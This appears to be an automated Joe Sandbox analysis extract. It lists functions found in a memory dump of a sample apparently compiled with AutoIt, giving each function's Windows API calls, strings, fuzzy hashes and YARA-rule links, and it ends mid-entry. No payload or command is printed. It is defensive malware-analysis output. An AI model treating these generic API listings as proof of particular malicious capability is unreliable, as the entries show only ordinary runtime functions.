Opcode Fuzzy Hash: 7c4966b7f5195afc720d70ef848ae333ff4fb1518e9f51deca35ab0721fd255d
Instruction Fuzzy Hash: F831AD71900219EFDB14DFA8D94CADE7BB6EB05315F10822AFA25A72D1CBB09D14DF90

Function 006DB14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

GetWindowLongW.USER32(?,000000F0), ref: 006DB192
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 006DB1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 006DB1CF
GetSystemMetrics.USER32(00000004), ref: 006DB1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,006C0E90,00000000), ref: 006DB216

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: ff3c2f4f00ec8326cf428c863fbc7f8e928c00effa9b6e0e5a8445bdf522a591
Instruction ID: 04ae72fad1171a8a1be760ed72ac2d710941e7b98c11d3b963cb3ec66d6d0e0d
Opcode Fuzzy Hash: ff3c2f4f00ec8326cf428c863fbc7f8e928c00effa9b6e0e5a8445bdf522a591
Instruction Fuzzy Hash: 5421A031E10251EFCB149F39DC54AAA37A6FB45361F16573AB922C33E4D73099118B80

Function 006C5A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 006C5A6E
GetForegroundWindow.USER32 ref: 006C5A85
GetDC.USER32(00000000), ref: 006C5AC1
GetPixel.GDI32(00000000,?,00000003), ref: 006C5ACD
ReleaseDC.USER32(00000000,00000003), ref: 006C5B08

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: ac69e5d614e658d550ca69413e910b0d70f76d32420a4e1e33cbe55812543617
Instruction ID: ee8de1e031b9ab8f750f70e7072295967f563603192260ba4258493689959309
Opcode Fuzzy Hash: ac69e5d614e658d550ca69413e910b0d70f76d32420a4e1e33cbe55812543617
Instruction Fuzzy Hash: 54218475A01104AFD714EFA5DC84AAAB7E6EF48311F14C47DF80A97352CA70ED45CB54

Function 006512F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 0065134D
SelectObject.GDI32(?,00000000), ref: 0065135C
BeginPath.GDI32(?), ref: 00651373
SelectObject.GDI32(?,00000000), ref: 0065139C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 0cadaa6b6e19dba03ec2728003eb696af84c569eccf1ff5d2b504acb1bb5ea91
Instruction ID: 5cd1ac7d1eda1dabd21b3c5839f7ae97b79633359663413f3e469859999a5d2d
Opcode Fuzzy Hash: 0cadaa6b6e19dba03ec2728003eb696af84c569eccf1ff5d2b504acb1bb5ea91
Instruction Fuzzy Hash: B5216D30801608EFDB149F29DC147E97BAAFB41322F14C226F8119A2F0D3759996DF94

Function 006B4A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 006B4ABA
__beginthreadex.LIBCMT ref: 006B4AD8
MessageBoxW.USER32(?,?,?,?), ref: 006B4AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 006B4B03
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 006B4B0A

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: e025c865a3796bb6e4782642629f3a0b73bcb8f5467a25503ec6319101abdca1
Instruction ID: cb4d701dcd29427609b721fed175abba2189870a2261da966a7f3a7977875ab2
Opcode Fuzzy Hash: e025c865a3796bb6e4782642629f3a0b73bcb8f5467a25503ec6319101abdca1
Instruction Fuzzy Hash: 371108B6D05214BFC7009FAC9C04ADB7FAEEB89320F14826AF915D3391DA75C94087A0

Function 006A8202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 006A821E
GetLastError.KERNEL32(?,006A7CE2,?,?,?), ref: 006A8228
GetProcessHeap.KERNEL32(00000008,?,?,006A7CE2,?,?,?), ref: 006A8237
HeapAlloc.KERNEL32(00000000,?,006A7CE2,?,?,?), ref: 006A823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 006A8255

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 466ed1d0a9c170e278c21090a5061a2166a74d8bb62105d8e500d96e633a6d7b
Instruction ID: bdac2eb1c4b8ae44e5b77e7381cbf1cfbfb45430a0619f78ad66cb26ec637130
Opcode Fuzzy Hash: 466ed1d0a9c170e278c21090a5061a2166a74d8bb62105d8e500d96e633a6d7b
Instruction Fuzzy Hash: E7011271A01644FFDB105FA5DC48DA77B6EEF8A755750057AF849C3260DA319D00DAA0

Function 006A710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006A7044,80070057,?,?,?,006A7455), ref: 006A7127
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006A7044,80070057,?,?), ref: 006A7142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006A7044,80070057,?,?), ref: 006A7150
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006A7044,80070057,?), ref: 006A7160
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006A7044,80070057,?,?), ref: 006A716C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: fc8a5561298822696cc3767619610981a0db1d5ce0dcf7fefb19f332233f533e
Instruction ID: 7904574d910d015f621583ea9141ee6c2f3b5358ba6fef6e14ec6992df5e49c4
Opcode Fuzzy Hash: fc8a5561298822696cc3767619610981a0db1d5ce0dcf7fefb19f332233f533e
Instruction Fuzzy Hash: 38018F72A02204BBDB115F64DC44BAA7BFEEF45791F194065FD05D2220D731DD419FA0

Function 006B5244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 006B5260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 006B526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 006B5276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 006B5280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 006B52BC

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: d58f90c06a8a223bd9b206607cfa5889aeee01fb4486247451e25d24062cfa00
Instruction ID: d9e3c8b41d1040b1063ad4a2947e010fd8f4185c3c5f0d8af76558133b2d2f0d
Opcode Fuzzy Hash: d58f90c06a8a223bd9b206607cfa5889aeee01fb4486247451e25d24062cfa00
Instruction Fuzzy Hash: D2012971D02A1DDBCF00EFE8ED49AEDBB7AFB09711F40155AE942B2244CB709690C7A5

Function 006A810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 006A8121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 006A812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 006A813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 006A8141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 006A8157

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: a7f8800de8e8367ada7c81e9739aab26fc0a1530087013b27fded684606a8d23
Instruction ID: 0517b894494d7e90653c1461a6b1f905ae15ce218334fa3824d0a36920054b59
Opcode Fuzzy Hash: a7f8800de8e8367ada7c81e9739aab26fc0a1530087013b27fded684606a8d23
Instruction Fuzzy Hash: 05F06271701305AFEB111FA5EC88EA73BAEFF4A754B040036F986C7250DB619D41DEA0

Function 006AC1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 006AC1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 006AC20E
MessageBeep.USER32(00000000), ref: 006AC226
KillTimer.USER32(?,0000040A), ref: 006AC242
EndDialog.USER32(?,00000001), ref: 006AC25C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 8a693412f20ca39a917d454c26586f132c1415842c8df3dce723ca4f52d67460
Instruction ID: 08f76a5c20769f6ee27f7f3304b9af6046328c67ef2d731682e5a8d18d7d6d3e
Opcode Fuzzy Hash: 8a693412f20ca39a917d454c26586f132c1415842c8df3dce723ca4f52d67460
Instruction Fuzzy Hash: 1201A73080470497EB206B50ED4EB9677BAFB01706F00026AB553914E0D7E0AD448F90

Function 006513B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 006513BF
StrokeAndFillPath.GDI32(?,?,0068B888,00000000,?), ref: 006513DB
SelectObject.GDI32(?,00000000), ref: 006513EE
DeleteObject.GDI32 ref: 00651401
StrokePath.GDI32(?), ref: 0065141C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: d9c8847aeadf58ea009de0d9ab42514f2fdc0d78c86e51215698792ada93291d
Instruction ID: b00e6f5df7dcf6883c90b2077fa7736ea81e5447390c5e0ea0b6d0026448a730
Opcode Fuzzy Hash: d9c8847aeadf58ea009de0d9ab42514f2fdc0d78c86e51215698792ada93291d
Instruction Fuzzy Hash: 45F0C930405A08EBDB195F2AEC5C7983BE6A741326F08D325E82A895F1C73949A9DF54

Function 006BC397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 006BC432
CoCreateInstance.OLE32(006E2D6C,00000000,00000001,006E2BDC,?), ref: 006BC44A

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

CoUninitialize.OLE32 ref: 006BC6B7

Strings

.lnk, xrefs: 006BC3C6, 006BC3EE, 006BC3F8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: cbbc7e2280ae23a9ee34f919afba87db78afd1c5869928848c93121dcd552739
Instruction ID: 9fa673c6685b16f17f6a0d0bcd34794e86301d6ee09561551a775dd7e000e8e7
Opcode Fuzzy Hash: cbbc7e2280ae23a9ee34f919afba87db78afd1c5869928848c93121dcd552739
Instruction Fuzzy Hash: B0A16BB1104205AFD340EF54C881EABB7EEEF84315F004A1DF5569B1A2EB70EA09CB66

Function 00662CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00670DB6: std::exception::exception.LIBCMT ref: 00670DEC
Part of subcall function 00670DB6: __CxxThrowException@8.LIBCMT ref: 00670E01

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Part of subcall function 00657A51: _memmove.LIBCMT ref: 00657AAB

__swprintf.LIBCMT ref: 00662ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00662D66

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 00dbfb7da6c1d6e611becb17671567e2a775728a13642d903e0a22d901d03da8
Instruction ID: a999bfca5a17b8d10f89c8884c5f565c8382d349f7d76fe24ea78083676c24e4
Opcode Fuzzy Hash: 00dbfb7da6c1d6e611becb17671567e2a775728a13642d903e0a22d901d03da8
Instruction Fuzzy Hash: D79180711087029FCB54EF24D895CAFB7AAEF85711F00491DF8469B2A1EB30ED49CB66

Function 006BB93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00654750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00654743,?,?,006537AE,?), ref: 00654770

CoInitialize.OLE32(00000000), ref: 006BB9BB
CoCreateInstance.OLE32(006E2D6C,00000000,00000001,006E2BDC,?), ref: 006BB9D4
CoUninitialize.OLE32 ref: 006BB9F1

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

Strings

.lnk, xrefs: 006BB99D, 006BB9AB

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: a8d3924f81eb90a18fc331292bb74698937bb27888fddaa0e95e1074a197bfb3
Instruction ID: ffe24536bfba517e8b93852fa3025ecac212bf662ed0004f09228a45e788576e
Opcode Fuzzy Hash: a8d3924f81eb90a18fc331292bb74698937bb27888fddaa0e95e1074a197bfb3
Instruction Fuzzy Hash: 4CA136B56043019FC710DF24C894D9ABBE6FF89314F148998F8999B3A1CB71ED85CB91

Function 006AB2F3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 006AB4BE

Strings

AutoIt3GUI, xrefs: 006AB436
Container, xrefs: 006AB43B
%n, xrefs: 006AB561

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container$%n
API String ID: 3565006973-1483441161
Opcode ID: c065e10156b507dda9dc7e7145f302a3146564deac8ffe0d1ac9eaac58c3df83
Instruction ID: c1f23594bf18bce7b6375c41c7d0ba8ecc6205a65f0c962e860695df91500ccc
Opcode Fuzzy Hash: c065e10156b507dda9dc7e7145f302a3146564deac8ffe0d1ac9eaac58c3df83
Instruction Fuzzy Hash: A2912870600601DFDB54EF64C894A6AB7EAFF49710F14856DE94A8B292DB71EC41CF60

Function 0067501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 006750AD

Part of subcall function 006800F0: __87except.LIBCMT ref: 0068012B

Strings

pow, xrefs: 00675085, 006750A2

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 8b673b1c96871ac5b6e0446aa176b65c12a0c14fc0c8d787203ae47b96754660
Instruction ID: 3fa7afa31591f9de0a34117d57f15d62f47ea1090527b832c143ed902fcf57db
Opcode Fuzzy Hash: 8b673b1c96871ac5b6e0446aa176b65c12a0c14fc0c8d787203ae47b96754660
Instruction Fuzzy Hash: 2A516D3190860186EB917724C8553AE2B979B40710F30CED8E4DA863D9DFB48DDD9B8A

Function 00698584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0069862B
_memmove.LIBCMT ref: 00698685

Strings

_f, xrefs: 006986FF, 0069DFDC, 0069DFF8
3cf, xrefs: 0069860C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove
String ID: 3cf$_f
API String ID: 4104443479-1617663849
Opcode ID: 9a88d5124b3eef2e18c33babca6c53e0ecfab1738005a4a7abd8d301b47852e3
Instruction ID: 62e85a94522db63de86a3cb04c212da736370aeef766ccb0b3ce99aca35454af
Opcode Fuzzy Hash: 9a88d5124b3eef2e18c33babca6c53e0ecfab1738005a4a7abd8d301b47852e3
Instruction Fuzzy Hash: E4514B70A006099FCF64CF68C884AAEBBF6FF45304F248529E85AD7750EB31A956CB51

Function 006D7946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,006DF910,00000000,?,?,?,?), ref: 006D79DF
GetWindowLongW.USER32 ref: 006D79FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 006D7A0C

Strings

SysTreeView32, xrefs: 006D79B1

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: d59556741f73f8bbf0aa77bc5bcd6c8ddbc508b6d0f51df0e903d759b9397827
